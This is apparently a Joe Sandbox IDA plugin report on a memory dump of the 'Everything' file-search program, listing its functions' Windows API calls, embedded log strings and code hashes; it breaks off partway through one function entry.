Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: File$Read$ErrorHeapLast$AllocCloseCreateDefaultHandleLangPointerProcessSystem
String ID: Everything.lng$count %d$got header$header size %d$lng file opened!$system default lid %04x$version %d
API String ID: 3246460639-1027524925
Opcode ID: 73ff254f62daec7cfa77a2d8c4a902b985b5e38c6426fa56885baa6b6022713b
Instruction ID: b4b7c53d02f78f92fce89b1de923be77d88d93f0ae7ede4ef6ab79f8d80d8090
Opcode Fuzzy Hash: 73ff254f62daec7cfa77a2d8c4a902b985b5e38c6426fa56885baa6b6022713b
Instruction Fuzzy Hash: 6832443291C68AC6EB618B94E84037AB3A4FB85364F500135DE9DC2BA5EF7DE454EB10

Function 00007FF63D5479E0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 190
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowRect.USER32 ref: 00007FF63D547AFA
SystemParametersInfoW.USER32 ref: 00007FF63D547B0F
CreateWindowExW.USER32 ref: 00007FF63D547BC3
SetForegroundWindow.USER32 ref: 00007FF63D547C59
SetWindowPos.USER32 ref: 00007FF63D547C7E
ShellExecuteExW.SHELL32 ref: 00007FF63D547C95
DestroyWindow.USER32 ref: 00007FF63D547CAC
WaitForSingleObject.KERNEL32 ref: 00007FF63D547CCA
CloseHandle.KERNEL32 ref: 00007FF63D547CD8
GetLastError.KERNEL32 ref: 00007FF63D547CE0

Strings

EVERYTHING_SHELL_EXECUTE, xrefs: 00007FF63D547ACB, 00007FF63D547B5A
Enter ShellExecute, xrefs: 00007FF63D547C84
Leave ShellExecute, xrefs: 00007FF63D547C9B
ShellExecuteExW(): GetLastError(): %d: failed to execute %s, xrefs: 00007FF63D547CE6
p, xrefs: 00007FF63D547C3F

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Window$CloseCreateDestroyErrorExecuteForegroundHandleInfoLastObjectParametersRectShellSingleSystemWait
String ID: EVERYTHING_SHELL_EXECUTE$Enter ShellExecute$Leave ShellExecute$ShellExecuteExW(): GetLastError(): %d: failed to execute %s$p
API String ID: 395308030-1710855169
Opcode ID: e5d52cdcdb4a7199f75088e734e3a79b493ffe0256da252569693a1bb0d87525
Instruction ID: 367f89701ab713f2eb11c4f2dd7cb9092abe66a5439cd752c619c0d65f66639e
Opcode Fuzzy Hash: e5d52cdcdb4a7199f75088e734e3a79b493ffe0256da252569693a1bb0d87525
Instruction Fuzzy Hash: 71917732A0CA8A81E760EB95F4502EA7364FF857A4F445035DE5D83B99EF3CD514EB40

Function 00007FF63D524010 Relevance: 17.5, APIs: 1, Strings: 9, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF63D54B310: SHTestTokenMembership.SHELL32(?,?,?,?,00007FF63D5240A4), ref: 00007FF63D54B320

Part of subcall function 00007FF63D5B4C90: OpenSCManagerW.ADVAPI32 ref: 00007FF63D5B4CB6
Part of subcall function 00007FF63D5B4C90: OpenServiceW.ADVAPI32 ref: 00007FF63D5B4CF7
Part of subcall function 00007FF63D5B4C90: QueryServiceStatusEx.ADVAPI32 ref: 00007FF63D5B4D21
Part of subcall function 00007FF63D5B4C90: OpenServiceW.ADVAPI32 ref: 00007FF63D5B4D56
Part of subcall function 00007FF63D5B4C90: QueryServiceConfigW.ADVAPI32 ref: 00007FF63D5B4D8E
Part of subcall function 00007FF63D5B4C90: CloseServiceHandle.ADVAPI32 ref: 00007FF63D5B4DDB
Part of subcall function 00007FF63D5B4C90: CloseServiceHandle.ADVAPI32 ref: 00007FF63D5B4DF4
Part of subcall function 00007FF63D5B4C90: CloseServiceHandle.ADVAPI32 ref: 00007FF63D5B4E0D

GetCommandLineW.KERNEL32 ref: 00007FF63D5240D8

Strings

Everything, xrefs: 00007FF63D52403D
AppData %d, xrefs: 00007FF63D5240B9
Version %s, xrefs: 00007FF63D52404E
IsAdmin %d, xrefs: 00007FF63D5240A4
cmdline %S, xrefs: 00007FF63D5240DE
NT, xrefs: 00007FF63D52406F
Processors %d, xrefs: 00007FF63D524093
Service %d, xrefs: 00007FF63D5240CA
Windows%s %d.%d, xrefs: 00007FF63D52407D

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Service$CloseHandleOpen$Query$CommandConfigLineManagerMembershipStatusTestToken
String ID: NT$AppData %d$Everything$IsAdmin %d$Processors %d$Service %d$Version %s$Windows%s %d.%d$cmdline %S
API String ID: 946279963-3309248657
Opcode ID: 6b7df74d1fde17583d26ab7bae1f1a4fba1ff2ae0742a8d4f3bcaec9b349bb3d
Instruction ID: e1c6d6db8dfafadfc88d7ef6e2a60c3f5906859284d1bf95e358d193c734a4e5
Opcode Fuzzy Hash: 6b7df74d1fde17583d26ab7bae1f1a4fba1ff2ae0742a8d4f3bcaec9b349bb3d
Instruction Fuzzy Hash: 89212C61E1896F91FA10E7A0F8912B97321BFA635CF805035D86DC67A6FF2CE509B700

Function 00007FF63D5B4C90 Relevance: 13.6, APIs: 9, Instructions: 96
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FF63D5B4CB6
OpenServiceW.ADVAPI32 ref: 00007FF63D5B4CF7
QueryServiceStatusEx.ADVAPI32 ref: 00007FF63D5B4D21
OpenServiceW.ADVAPI32 ref: 00007FF63D5B4D56

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

QueryServiceConfigW.ADVAPI32 ref: 00007FF63D5B4D8E
CloseServiceHandle.ADVAPI32 ref: 00007FF63D5B4DDB
CloseServiceHandle.ADVAPI32 ref: 00007FF63D5B4DF4
GetLastError.KERNEL32 ref: 00007FF63D5B4DFC
CloseServiceHandle.ADVAPI32 ref: 00007FF63D5B4E0D

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Service$CloseHandleOpen$HeapQuery$AllocConfigErrorLastManagerProcessStatus
String ID:
API String ID: 2358456074-0
Opcode ID: 198abadead56f94b2d0573679de9925dac270f21dd71bc4344d8ac0eab4c69a2
Instruction ID: 2a3e753e424babb57f6056822fa2d6637dcccfd2f8b24cb7600d5a665761d3ef
Opcode Fuzzy Hash: 198abadead56f94b2d0573679de9925dac270f21dd71bc4344d8ac0eab4c69a2
Instruction Fuzzy Hash: B5417261B09A8985FB74DB62E4453AA7361FB85B98F844035DE4E87B84EF3CE408E714

Function 00007FF63D53F780 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 23
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,?,00007FF63D5E8940,?,?,000002DE,00007FF63D5241CB), ref: 00007FF63D53F789
RtlFreeHeap.NTDLL(?,?,?,00007FF63D5E8940,?,?,000002DE,00007FF63D5241CB), ref: 00007FF63D53F797
GetLastError.KERNEL32(?,?,?,00007FF63D5E8940,?,?,000002DE,00007FF63D5241CB), ref: 00007FF63D53F7A6
GetProcessHeap.KERNEL32(?,?,?,00007FF63D5E8940,?,?,000002DE,00007FF63D5241CB), ref: 00007FF63D53F7AE

Strings

HeapFree(0x%08x,0,0x%08x): %d: Failed to free., xrefs: 00007FF63D53F7B4

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Heap$Process$ErrorFreeLast
String ID: HeapFree(0x%08x,0,0x%08x): %d: Failed to free.
API String ID: 2874822613-2460790854
Opcode ID: 7c5dfb36b83c9eb1814290a3e7ccb68c7dec53eb10dbb3df846101a73fe8f8ce
Instruction ID: 8786623e70d631405a1111640926f355d4a367ac4c8c7a83aad999b3afcfde0a
Opcode Fuzzy Hash: 7c5dfb36b83c9eb1814290a3e7ccb68c7dec53eb10dbb3df846101a73fe8f8ce
Instruction Fuzzy Hash: F3E06520F18B4B82EB509BF2B88842A5265BF56FC9F005135DD1E83B65FE3CE0546300

Function 00007FF63D61AA00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,00000028,00007FF63D619755,?,?,00000000,00007FF63D61AF38,?,?,00000000,00007FF63D61D4A0,?,?,00000000,00007FF63D61D573), ref: 00007FF63D61AA0F
GetProcAddress.KERNEL32(?,?,00000028,00007FF63D619755,?,?,00000000,00007FF63D61AF38,?,?,00000000,00007FF63D61D4A0,?,?,00000000,00007FF63D61D573), ref: 00007FF63D61AA24
ExitProcess.KERNEL32 ref: 00007FF63D61AA35

Strings

CorExitProcess, xrefs: 00007FF63D61AA1A
mscoree.dll, xrefs: 00007FF63D61AA08

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 6effe5b6004a4a5126d452c9df89515558f58b1a7e2b20148a48e16e3945f0ac
Instruction ID: 9634cf5f0ef9e40686c439deee06e27245c37c71a78c9b74b68e16510062f17f
Opcode Fuzzy Hash: 6effe5b6004a4a5126d452c9df89515558f58b1a7e2b20148a48e16e3945f0ac
Instruction Fuzzy Hash: 21E0E610F19B1E81EF549BE0AC9413413526F4AB45F48543CC46EC6791FE3CA95DB310

Function 00007FF63D53F700 Relevance: 7.5, APIs: 2, Strings: 3, Instructions: 20
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

Part of subcall function 00007FF63D524180: RegisterEventSourceW.ADVAPI32 ref: 00007FF63D524247
Part of subcall function 00007FF63D524180: ReportEventW.ADVAPI32 ref: 00007FF63D524286
Part of subcall function 00007FF63D524180: DeregisterEventSource.ADVAPI32 ref: 00007FF63D52428F
Part of subcall function 00007FF63D524180: ExitProcess.KERNEL32 ref: 00007FF63D52430F

Strings

mem_alloc, xrefs: 00007FF63D53F729
.\src\mem.c, xrefs: 00007FF63D53F730
out of memory %p, xrefs: 00007FF63D53F722

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Event$HeapProcessSource$AllocDeregisterExitRegisterReport
String ID: .\src\mem.c$mem_alloc$out of memory %p
API String ID: 3100536496-3895202858
Opcode ID: 062f19402a3b4f219f2b45c24d0ab9e8c2d766bf70d81f557087a77c545f37b5
Instruction ID: df8c0d144c8ce2362749716fd9e04d82a999a7dd5b7b4a197269cc4fb5540031
Opcode Fuzzy Hash: 062f19402a3b4f219f2b45c24d0ab9e8c2d766bf70d81f557087a77c545f37b5
Instruction Fuzzy Hash: 92E01264E1579F81FB109BE0AC051F81320AB55755F44453ACD5D863B5EF3CA19AB600

Function 00007FF63D545550 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF63D5455D2
GetLastError.KERNEL32 ref: 00007FF63D5455EB
GetLastError.KERNEL32 ref: 00007FF63D5455F6

Strings

CreateFileW(): %d: Failed to open file %s, xrefs: 00007FF63D5455FC

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$CreateFile
String ID: CreateFileW(): %d: Failed to open file %s
API String ID: 1722934493-646564424
Opcode ID: 84aa661f751eeb5b4d3626b26102719e36fc65a41999a8943f28810e51cf66b3
Instruction ID: 58bcf616c607d5e3629ecaf9433dc80d6d428743bab4c0a286355ffca2bfbc45
Opcode Fuzzy Hash: 84aa661f751eeb5b4d3626b26102719e36fc65a41999a8943f28810e51cf66b3
Instruction Fuzzy Hash: 0521A121A08A5981FB10DBA0F4543AA73A0FB897A4F500235EE6CC3B99EF3CD505AB40

Function 00007FF63D545640 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00007FF63D545689
CreateDirectoryW.KERNELBASE ref: 00007FF63D5456CE
CreateDirectoryW.KERNELBASE ref: 00007FF63D5456ED

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CreateDirectory$AttributesFile
String ID:
API String ID: 689033430-0
Opcode ID: 4efd761817587ff5d3260f7f9c43d1024a1eddabcf7a12161da2c2472043ad14
Instruction ID: b8461cb724f575af07ef6f5e332e47746265c791e7fb12cb9cfc5f56f0be5628
Opcode Fuzzy Hash: 4efd761817587ff5d3260f7f9c43d1024a1eddabcf7a12161da2c2472043ad14
Instruction Fuzzy Hash: 51218012E0850A81FB305F65E8443B963B0EF89B74F484031DD6D863D9FF7CD591A641

Function 00007FF63D54B310 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHTestTokenMembership.SHELL32(?,?,?,?,00007FF63D5240A4), ref: 00007FF63D54B320

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: MembershipTestToken
String ID:
API String ID: 1358604744-0
Opcode ID: eae98d34bb03379e9ed7029d014224fa7bded842c037536cdec59bfe3a02560c
Instruction ID: 777f111a2b25d8eb5070c1be71426b2400eff5113993a1ca7fb211e6dfb13fcd
Opcode Fuzzy Hash: eae98d34bb03379e9ed7029d014224fa7bded842c037536cdec59bfe3a02560c
Instruction Fuzzy Hash: 3AC01265F1260A83EF0D63BAA89236A00902B49320FC94838E81CC2390ED2CD9A66B00

Function 00007FF63D5E5DE0 Relevance: 1.3, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF63D545550: CreateFileW.KERNELBASE ref: 00007FF63D5455D2
Part of subcall function 00007FF63D545550: GetLastError.KERNEL32 ref: 00007FF63D5455EB
Part of subcall function 00007FF63D545550: GetLastError.KERNEL32 ref: 00007FF63D5455F6

Part of subcall function 00007FF63D5476D0: GetFileSize.KERNEL32(?,?,?,00007FF63D5E5E0E,?,?,00000001,00007FF63D47B7E8), ref: 00007FF63D5476DD
Part of subcall function 00007FF63D5476D0: GetLastError.KERNEL32(?,?,?,00007FF63D5E5E0E,?,?,00000001,00007FF63D47B7E8), ref: 00007FF63D5476EA

CloseHandle.KERNEL32(?,?,00000001,00007FF63D47B7E8), ref: 00007FF63D5E5EAD

Part of subcall function 00007FF63D53F750: GetProcessHeap.KERNEL32(?,?,?,00007FF63D4754C8), ref: 00007FF63D53F759

Part of subcall function 00007FF63D54C730: ReadFile.KERNEL32(?,?,00000000,00000001,00000000,00007FF63D5E5E51,?,?,00000001,00007FF63D47B7E8), ref: 00007FF63D54C77D

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleHeapProcessReadSize
String ID:
API String ID: 2862973443-0
Opcode ID: c908d9a96aa98550657faa6f216da1dd1db21ca40a35f0483d688ed9d51af48c
Instruction ID: 5a4441f5e3cef87237f9cbf54909dbe014451044c8e0d6bfd16b4169d6161d36
Opcode Fuzzy Hash: c908d9a96aa98550657faa6f216da1dd1db21ca40a35f0483d688ed9d51af48c
Instruction Fuzzy Hash: 93217421A1D78A45EF64EFA5A5401B963919F89BF0F081335EE6E877DAFE2CE4009200

Function 00007FF63D619700 Relevance: 1.3, APIs: 1, Instructions: 51
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

